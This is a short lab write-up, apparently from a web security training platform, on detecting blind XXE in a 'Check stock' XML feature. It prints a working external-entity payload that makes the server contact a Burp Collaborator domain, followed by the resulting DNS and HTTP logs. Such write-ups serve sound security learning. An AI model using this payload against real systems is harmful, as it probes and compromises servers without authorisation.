

Blind XXE with out-of-band interaction

1. This lab has a "Check stock" feature that parses XML input but does not display the result. You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.
2. This lab will be solved by sending **DNS lookup** and **HTTP** request to burp Collaborator.
3. I injected my custom entity into the XML code in request that it contain checking stock and call this entity in **productId** entity.

Request					Response				
Pretty	Raw	Hex	Hackvortor		Pretty	Raw	Hex	Render	Hackvortor
16	Accept-Encoding: gzip, deflate, br				1	HTTP/2 400 Bad Request			
17	Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7				2	Content-Type: application/json; charset=utf-8			
18	Priority: u=1, i				3	X-Frame-Options: SAMEORIGIN			
19					4	Content-Length: 20			
20	<?xml version="1.0" encoding="UTF-8"?>				5				
21	<!DOCTYPE foo [6	"Invalid product ID"			
22	<!ENTITY xxe SYSTEM								
	"http://lncctbmgkuu3ueb4dcmz30ih48azysmh.oastify.com"]>								
23	</>								
24	<stockCheck>								
25	<productId>								
26	&xxe;								
	</productId>								
	<storeId>								
	1								
	</storeId>								
	</stockCheck>								

4. I received the DNS and HTTP request to my burp Collaborator.

#	Time	Type	Payload	Source IP address
12	2025-Oct-20 22:58:13.001 UTC	HTTP	lncctbmgkuu3ueb4dcmz30ih48azysmh	34.251.122.40
10	2025-Oct-20 22:58:12.985 UTC	DNS	lncctbmgkuu3ueb4dcmz30ih48azysmh	3.251.104.18
11	2025-Oct-20 22:58:12.985 UTC	DNS	lncctbmgkuu3ueb4dcmz30ih48azysmh	3.251.104.145

Description	DNS query
The Collaborator server received a DNS lookup of type A for the domain name lncctbmgkuu3ueb4dcmz30ih48azysmh.oastify.com.	
The lookup was received from IP address 3.251.104.18:47190 at 2025-Oct-20 22:58:12.985 UTC.	